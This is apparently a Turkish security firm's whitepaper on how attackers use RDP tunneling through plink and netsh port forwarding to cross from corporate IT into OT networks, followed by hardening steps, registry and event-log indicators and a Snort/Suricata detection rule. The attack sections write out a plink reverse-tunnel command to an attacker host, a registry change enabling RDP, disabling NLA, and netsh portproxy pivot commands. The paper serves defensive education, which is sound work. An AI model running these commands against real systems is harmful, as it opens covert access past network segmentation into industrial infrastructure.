www.biznet.com.tr V 1.0 1

Biznet Bilişim

RDP Tunneling & Port Forwarding ile

IT-OT Ağ Geçişlerini Atlatma ve Korunma Yöntemleri

Yazarlar Enes Şanal, Murat Aydemir, Seda Narlı

Katkı Sunanlar İsmail Mert Ay Ak

Sürüm Sürüm 1.0

Yayın Tarihi 18.02.2019

www.biznet.com.tr V 1.0 2

GİRİŞ Endüstriyel altyapılar genellikle birbirleriyle ilişkili ve birbirlerini besleyen çok sayıda farklı süreçten

oluşmaktadır. Bu sebeple Endüstriyel Kontrol Sistemleri (EKS), yapıları gereği geleneksel IT

altyapılarında sıkça karşılaştığımız düz (flat) ağ mimarilerin aksine çok katmanlı mimarilere sahip kritik altyapılardır. Bu katmanlı yapı içerisinde, her katmanda bulunan varlıklar birbirleriyle ilişkili ve birbirlerini

besleyen endüstriyel süreçlere hizmet etmektedir. EKS altyapıları temelde IT ve OT altyapısı olmak üzere

iki ayrı yapıdan oluşmaktadır. IT ve OT altyapıları gerek işlevsellik gerekse işleyiş ve süreçler bakımından birbirlerinden oldukça farklı özelliklere sahip yapılardır.

IT ve OT altyapıları arasındaki geçişler, ağ yapılandırmaları(DMZ) veya çeşitli kontrol mekanizmaları(uzak

erişim sunucuları, terminal sunucular veya jumpbox sunucuları) kullanılarak gerçekleştirilmektedir.

“Jumpbox” olarak da adlandırılan terminal sunucuları, gerek operasyon sürelerini kısaltarak verimliliği arttırması gerekse son kullanıcıya sağladığı grafik ara birimleri sayesinde önemli işlevsellikleri

beraberinde getirmektedir. Bu avantajlar sebebiyle Jumpbox’ lar, IT-OT geçişlerinde sıkça tercih edilmektedir. Bu geçişlere ilişkin detaylara, “Endüstriyel Kontrol Sistemleri için Purdue Katmanlı Güvenlik

Mimarisi“ isimli blog yazımızdan bu linke tıklayarak ulaşabilirsiniz.

Uzak Masaüstü Servisi(Remote Desktop Service - RDP) ise Microsoft Windows işletim sistemi içerisindeki çok sayıda servisten bir tanesi olup genellikle grafik ara birimi gerektiren kurum içi uzak bağlantılarda

çeşitli kullanıcı profilleri tarafından(sistem yöneticileri, IT ve OT mühendisleri, bakım personelleri vb.)

sıklıkla kullanılmaktadır. Yukarıda bahsedilen Jumpbox sunucular ise RDP protokolü üzerinden bu servis aracılıyla IT-OT geçişlerini sağlayan yapılardır. Jumpbox sunucular gerek IT gerekse OT personeline uzak

erişim konusunda çok sayıda avantaj sağlamasının yanında doğru güvenlik prosedürleri ve beraberinde

doğru yapılandırmaların yapılmaması sonucunda ciddi güvenlik ihlallerine sebebiyet verebilmektedir. Kötü niyetli saldırganların ya da ulus-destekli(national-state) APT grupların kritik altyapılara yönelik

gerçekleştirdiği saldırılar incelenlendiğinde, saldırıların odak noktasının genellikle terminal sunucu ve Jumpbox gibi IT-OT arasında geçiş sağlayan atlama noktalarının olduğunu görmekteyiz.

Bu blog yazısında, kötü niyetli bir saldırganın çeşitli RDP tünelleme(RDP tunneling) ve port yönlendirme(port forwarding) işlemlerini kullanarak internet üzerinden başlayıp önce kurumsal IT ağına

sızması, devamında ise ağ içerisinde dikey ilerleme(pivoting) yaparak OT ağındaki bir sunucu-istemciyi ele geçirebileceği bir senaryo anlatılmaktadır.

Faz 1: RDP ve Ağ Tünelleme ile Ağ Geçişinin Sağlanması

Çoğu endüstriyel organizasyonda Purdue Model’e göre Seviye 4’de bulunan (Yerel Kurumsal Ağ) varlıklar

ve bu varlıkların bulunduğu VLAN ya da alt ağlar(subnet) için firewall konfigürasyonları yapılmaktadır. Bu konfigürasyonlara bakıldığında, ilgili IP bloğuna internet üzerinden gelen tüm trafiğin(inbound)

engellendiği ancak giden trafik(outbound) konusunda bu kadar sıkı bir önlem alınmadığını görmekteyiz. İlgili IP bloğundan diğer VLAN, subnet veya internete giden trafik için yeterli kısıtlamaların

tanımlanmaması ciddi riskler doğurmaktadır. Örneğin internet üzerinden gelen saldırılar engelleniyor gibi

gözükse de yerel ağa sızmış bir saldırganın bu yapılandırmadaki sıkılaştırma eksikliklerini kullanarak kurumsal ağdaki varlıklar ile saldırganlar arasında bir bağlantı kurabilmesi bu risklerden biridir.

Kurumsal ağa sızmış bir kullanıcı, standart bir Windows işletim sistemindeki varsayılan özelliklerden birisi

olan RDP (C:\Windows\Windows\System32\mstsc.exe) servisiyle birlikte ağ tünelleme yaparak,

internetteki son kullanıcıyla -diğer bir deyişle saldırganla- bir haberleşme tüneli oluşturulabilmektedir. Bu yapı Şekil 1 ’de gösterilmektedir.

Şekil 1. RDP ve Ağ Tünelleme Yapılarak Kurumsal Firewall Kurallarının Atlatılması

www.biznet.com.tr V 1.0 3

Endüstriyel Kontrol Sistemleri’ nde IT altyapılarında “package inspection” olarak isimlendirilen ve ağdaki

trafiği derinlemesine analiz eden ya da kullanılan protokolleri denetleyen/kısıtlayan bir yapı olmamakla birlikte çoğu port ve protokolün kullanımına “varsayılan” olarak izin verilmektedir. Bu protokollerden

birisi de “Secure Shell (SSH)” protokolüdür. SSH protokolü varsayılan olarak TCP Port 22 üzerinde çalışır

ve çoğu IT sürecinde kaynak ve hedef arasında şifreli (encrypted) bir bağlantı oluşturarak, hedef sistem üzerinde çeşitli sistem komutları çalıştırmak için kullanılmaktadır. Windows işletim sistemi üzerinden SSH

bağlantısı yapmak için kullanılan çeşitli araçlar bulunmaktadır. Bu araçların içerisinde en çok tercih edilen

araçlardan biriyse “PuTTy Link” ya da diğer adıyla “Plink” uygulamasıdır. Plink.exe uygulaması, SSH, FTP veya Telnet gibi çok çeşitli protokolleri desteklemesiyle beraber keyfi(arbitrary) olarak belirlenen portlar

üzerinden bağlantı kurulmasına da olanak tanımaktadır. Aşağıdaki plink komutu hedef sistem üzerinde çalıştırıldığında, Şekil 1.’de gösterilen hedef Windows sunucu ile Linux saldırgan sunucu-istemci arasında

şifreli bir tünel oluşturup, bu tünel sayesinde RDP bağlantısı yönlendirilmektedir.

Örnek PuTTY Link Komutu plink.exe <users>@<IP or domain> -pw <password> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389

Yukarıdaki örnek plink komutunda kullanılan parametrelerin açıklaması aşağıdaki gibidir:

-P port :connect to specified port -pw passw :login with specified password -1 -2 :force use of particular protocol version -4 -6 :force use of IPv4 or IPv6 -t -T :enable / disable pty allocation -N :don't start a shell/command -C :enable compression -R :[listen-IP:] listen-port:host:port

Şekil 2.’de Plink kullanılarak başarılı bir şekilde RDP tünelleme yapılmış durum gösterilirken, Şekil 3.’de ise port yönlendirme yapılarak, oluşturulan RDP tüneli içerisinden mevcut sistem ile hedef sunucu

arasında RDP trafiğinin geçirilmesi sağlanmaktadır.

Şekil 2. plink.exe Kullanılarak Gerçekleştirilen RDP Tünelleme

Şekil 3. Saldırgan ile Hedef Sunucu Arasında Gerçekleştirilen Port Yönlendirme

www.biznet.com.tr V 1.0 4

Not: Saldırganın hedef sistem ile kendi arasında RDP tüneli oluşturabilmesi için mevcut durumda hedef sisteme erişmiş olması -Şekil 2. senaryosunun başarılı bir şekilde gerçekleşmesi- gerekmektedir. Bu

erişim, e-posta oltalama(phising) saldırıları ya da Kurumsal DMZ’de (Purdue Model’e göre Seviye 5) bulunan çeşitli varlıkların(VPN sunucu, mail gateway, web sunucu vb.) ele geçirilmesiyle olabileceği gibi,

tehdidin doğrudan kurum içerisinden gelişmesiyle de sağlanabilmektedir.

Şekil 2.’daki gibi başarılı bir RDP tünellemenin gerçekleşebilmesi için aşağıdaki şartların sağlanması

gerekmektedir.

Hedef Sunucu (Windows) Üzerinde

• Outbound RDP yapabiliyor olması reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Not: Yukarıdaki komutun başarılı bir şekilde çalıştırılabilmesi için lokal admin haklarına sahip olunmalıdır.

• NLA (Network Level Authentication) kapalı(disabled) olmalı

Lokal Group Policy üzerinde; Computer Configuration->Administrative Templates->Windows Components->Remote Desktop Services ->Remote Desktop Session Host->Security altındaki “Require user authentication for remote connections by using Network Level Authentication” seçeneği “Disabled” olarak ayarlanmalıdır.

Saldırgan Sunucu-İstemci üzerinde

• SSH servisi aktif olmalıdır. (Linux dağıtımlarına göre SSH servisini aktif etme metotları çeşitlilik göstermektedir.)

Faz 2: Jumpbox Sunucu Aracılığıyla Dikey İlerleme (Jumpbox Pivoting)

Faz 1’de ağ tünelleme ve port yönlendirmeyle, saldırgan ile hedef sunucu arasında SSH protokolü kullanılarak bir bağlantı kurulmuş ve SSH protokolü üzerinden RDP trafiği geçirilmişti. İlgili trafik analiz

edildiğinde, hedef ile saldırgan arasında RDP trafiği gerçekleşse dahi, sadece SSH trafiği ve buna bağlı

paketler görülmektedir.

Şekil 4. RDP Tüneli İçerisinden Geçen Trafik

Faz 1 başarılı bir şekilde gerçekleştirilip hedef sunucuya RDP bağlantısı yapılsa dahi, saldırganlar hala IT

ağının bir parçası konumundadır. Bu noktadan sonra saldırganlar genellikle yerel ağ içerisinde keşif yapmaya başlayıp, OT ağına sıçramak ya da ağ içerisinde pivoting için kullanabilecekleri çeşitli

bilgileri(kullanıcı adı ve parola bilgisi, yetkisiz erişilebilen dosya paylaşımları vb.) toplamaya

çalışmaktadır. Bu senaryoya benzer birçok olay incelendiğinde, saldırganların bu aşamada Microsoft Windows işletim sistemlerinde varsayılan olarak gelen Network Shell(netsh) komutlarını kullanarak, yerel

www.biznet.com.tr V 1.0 5

ağ içerisinde bulunan segmente edilmiş diğer networklere(OT ağı, yönetim (management) VLAN vb.) erişim sağladığını görülmektedir.

Faz 2’de ise Jumpbox sunucu üzerinde port yönlendirme yapılarak, Jumpbox sunucunun keyfi olarak

belirlenmiş bir portuna gelen trafiğin tamamı, Faz 1’de ele geçirilmiş “Hedef Sunucu” üzerine

yönlendirilmektedir. Bu durum Jumpbox sunucu ile segmente edilmiş ağdaki herhangi bir sunucu-istemci arasında gerçekleşen tüm trafiğin hedef sunucuda belirlenmiş bir porta yönlendirilmesine olanak

tanımaktadır. Aşağıda Windows Network Shell komutları kullanılarak port yönlendirme işlemleri

gerçekleştirilmektedir.

Not: Bu örnekte Jumpbox üzerinde yapılan port yönlendirme işlemi sırasında, sadece varsayılan RDP portu olan 3389 portuna gelen trafik yönlendirilmiştir.

Örnek netsh Port Yönlendirme Komutu: netsh interface portproxy add v4tov4 listenport=8001 connectport=3389 connectaddress=<SEGMENTED IP> Kısaltılmış netsh Port Yönlendirme Komutu: netsh I p a v l=8001 connectp=3389 c=<SEGMENTED IP>

Şekil 5 ’te yukarıda bahsedilen Faz 2 aşamasının gerçekleşme akışı gösterilmektedir.

Şekil 5. Jumbox Sunucu Aracılığıyla Dikey İlerleme-Pivoting (LAN->Segmente Edilmiş Ağ)

RDP Tünelleme Aktivitelerinin Tespiti ve Engellenmesi

Faz 1 ve Faz 2 aşamalarında görüldüğü gibi, eğer RDP aktif olarak kullanılıyorsa, saldırganlar port

yönlendirme veya tünelleme metotlarını kullanarak ağ içerisinde dikey olarak ilerleyip segmente edilmiş

diğer ağlara erişim sağlayabilmektedir. Endüstriyel organizasyonların bu tarz RDP saldırılarını tespit etmesi ve bu saldırılardan dolayı oluşabilecek olası riskleri azaltmak için sunucu-tabanlı (host-based) ve

ağ-tabanlı (network-based) saldırı tespit sistemlerini doğru bir şekilde kullanmaları gerekmektedir.

Sunucu-Tabanlı Engelleme

www.biznet.com.tr V 1.0 6

• Uzak Masaüstü Servisi: Uzak bağlantı gereksinimi olmayan tüm son kullanıcı iş istasyonları ve

sistemler için uzak masaüstü servisi kapatılmalıdır. • Sunucu-Tabanlı Firewall: Sunucu üzerinde varsayılan olarak gelen firewall kuralları sıkılaştırılmalı

ve inbound RDP bağlantıları engellenmelidir.

• Yerel(Local) Hesaplar: Yerel hesapların RDP yetkisi engellenmeli, sadece yetkili kullanıcıların veya “Remote Desktop Users” grubuna üye kullanıcı hesapları RDP bağlantısı yapacak şekilde

ayarlanmalıdır.

Yerel hesapların varsayılan ayarlarında “not defined” olarak tanımlı bu ayarı değiştirerek RDP yetkilerinin

engellenmesi için; Lokal Group Policy veya varsa Domain Group Policy üzerinde; Computer Configuration->Windows Settings->Security Settings->Local Policies->User Rights Assignment sekmesi altındaki “Deny log on through Remote Desktop Services” ayarı aktif hale getirilmelidir.

Sunucu-Tabanlı Tespit

Registry Key:

• Plink.exe kullanılarak gerçekleştirilen RDP tünelleme girişimleri, registry kayıtlarında(regedit)

çeşitli anahtarların(key) durumlarını değiştirebilmekte ya da yeni anahtarlar oluşturabilmektedir. Aşağıda yol bilgisi verilen registry key’ler incelenerek durum tespiti yapılabilmektedir.

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY HKEY_CURRENT_USER\SoftWare\SimonTatham\PuTTY\SshHostKeys

Şekil 6. Plink.exe Kullanılarak Gerçekleştirilen RDP Tünelleme Sonucunda Oluşan Çeşitli Anahtarlar

• Aynı şekilde netsh ile oluşturulan PortProxy konfigürasyonları registry kayıtlarında(regedit) çeşitli

anahtarların(key) durumlarını değiştirebilmekte ya da yeni anahtarlar oluşturabilmektedir. Aşağıda yol bilgisi verilen registry key’ler incelenerek durum tespiti yapılabilmektedir.

HKEY_CURRENT_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 HKEY_CURRENT_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

www.biznet.com.tr V 1.0 7

Şekil 7. netsh Kullanılarak Gerçekleştirilen RDP Tünelleme Sonucunda Oluşan Çeşitli Anahtarlar

Event Log:

• Çoğu RDP logon durumunda Windows işletim sistemi varsayılan olarak Event Viewer(Olay

Görüntüleyicisi) altında event log(olay kaydı) oluşturmaktadır. Bu logların düzenli olarak

incelenmesi, oluşan zararlı aktivitelerin tespitini kolaylaştırabilir. Aşağıda yol bilgileri verilmiş log dosyaları RDP işlemleri sonucunda oluşan event log’larını temsil etmektedir.

• %systemroot%\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational

• %systemroot%\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin

• %systemroot%\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin

• %systemroot%\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational

Şekil 8. Microsoft-Windows-TerminalServices-LocalSessionManager Event Log

www.biznet.com.tr V 1.0 8

• “TerminalServices-LocalSessionManager” içerisinde bulunan loglar başarılı logon event bilgilerini tutmaktadır. Başarılı eventlerin “Event ID-EID” numarası 21 iken 25 numaralı EID ise doğru bir

şekilde sonlandırılmamış(logout olunmadan sonlandırılan oturumlar) oturumlara başarılı bir şekilde tekrar logon olunduğunu ifade etmektedir.

• “Source Network Address” kısmı “127.0.0.1” olan loglar tünelleme yapıldığına işaret edebilir.

• “Security Log” içerisinde bulunan, EID numarası 4624 olan ve aynı zamanda “Logon Type” tipi “10” olan loglar başarılı bir şekilde gerçekleşen interaktif RDP oturumlarını göstermektedir. Bu

event log örneği Şekil 9.’da gösterilmektedir.

Şekil 9. Event Viewer – Windows Logs – Security Event Log

Ağ-Tabanlı Engelleme

• Uzak bağlantı: Uzak Masaüstü Servisi’nin kullanılmasının gerekli olduğu durumlarda, sadece yetkili hesap ve Jumpbox veya merkezi yönetim sunucusundan başlatılan RDP bağlantılarına izin

verilmeli, bu koşulu sağlamayan diğer tüm durumlar engellenmelidir. • Domain hesapları: Saldırganların dikey ilerleme için en sık kullandıkları hesaplar domain admin

gibi ayrıcalıklı kullanıcı hesapları olmaktadır. Bu sebeple “Deny log on through Remote Desktop

Services” ayarı domain üzerindeki ayrıcalıklı/yüksek yetkili kullanıcı hesapları için aktif edilmelidir.

Ağ-Tabanlı Tespit

• Firewall kuralları: Mevcut firewall kuralları incelenerek port yönlendirmeye olanak tanıyan

kuralların silinmesi önerilmektedir. Ek olarak port yönlendirme yapılmasının, iç ağdaki mevcut trafiğin izlenmesi(monitoring) sırasında anormalliklerin tespitini zorlaştırdığı unutulmamalıdır.

www.biznet.com.tr V 1.0 9

• Ağ trafiği: Ağ içerisinde oluşan trafikler her zaman göründüğü gibi olmayabilir veya gerçeği yansıtmayabilir. Bu sebeple IT-OT katmanları arasında oluşan trafiğin içerik incelemesi(package

inspection) yapılmalıdır. Örneğin saldırgan hedef ile arasında RDP tüneli oluşturmak için 80 veya 443 portlarını kullanabilmektedir. Böyle bir senaryoda ağ trafiğinin içerik incelemesinin yapılması,

aslında HTTP veya HTTPS olmayan bir trafiğin tespitini sağlayabilir.

• Snort/Suricata IDS kuralı: RDP tünelleme sırasında oluşan trafik incelendiğinde (ilk RDP handshake paketi içerisinde), tünelleme için kullanılan aracın kullandığı port trafiğinin (bu örnekte

TCP Port 22) aynı cihaz üzerinde daha yüksek bir porta yönlendirildiği görülmektedir. Aşağıdaki

IDS kuralı hem Suricata hem de Snort üzerinde başarılı bir şekilde çalışarak RDP tünelleme durumunu tespit edebilmektedir.

IDS kuralında, saldırgan ile hedef Windows Sunucu arasında bağlantı henüz kurulmamışken (ilk RDP

tunneling handshake isteği sırasında) tespit edilmektedir.

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; distance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)

Kural 1. Hedef Windows Sunucu ile Saldırgan Arasındaki RDP Tünelleme Tespiti 0000 00 0c 29 85 07 8e 00 0c 29 a4 e0 ae 08 00 45 00 ..).....)¤à®..E. 0010 00 52 19 7a 40 00 80 06 00 00 c0 a8 fc c2 c0 a8 .R.z@.....À¨üÂÀ¨ 0020 fc c3 c0 37 0d 3d 80 d3 fb 08 3b da 19 80 50 18 üÃÀ7.=.Óû.;Ú..P. 0030 40 29 7b 1c 00 00 03 00 00 2a 25 e0 00 00 00 00 @){......*%à.... 0040 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 .Cookie: mstshas 0050 68 3d 72 6f 6f 74 0d 0a 01 00 08 00 01 00 00 00 h=root.......... |03 00 00| depth:3 (Content’ teki 3 byte’ı alınır.) distance:2 (Content’ ten sonraki 2 byte atlanır.) |e0| within : 1 byte ( |e0| hex ifadesi content içerisindeki ilk 1 byte’ ta geçiyor mu?) distance:5 (Content’ ten sonraki 5 byte atlanır.) Cookie: mstshash= 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 68 3d within : 17 (Content içerisindeki ilk 17 byte içinde geçiyor mu?)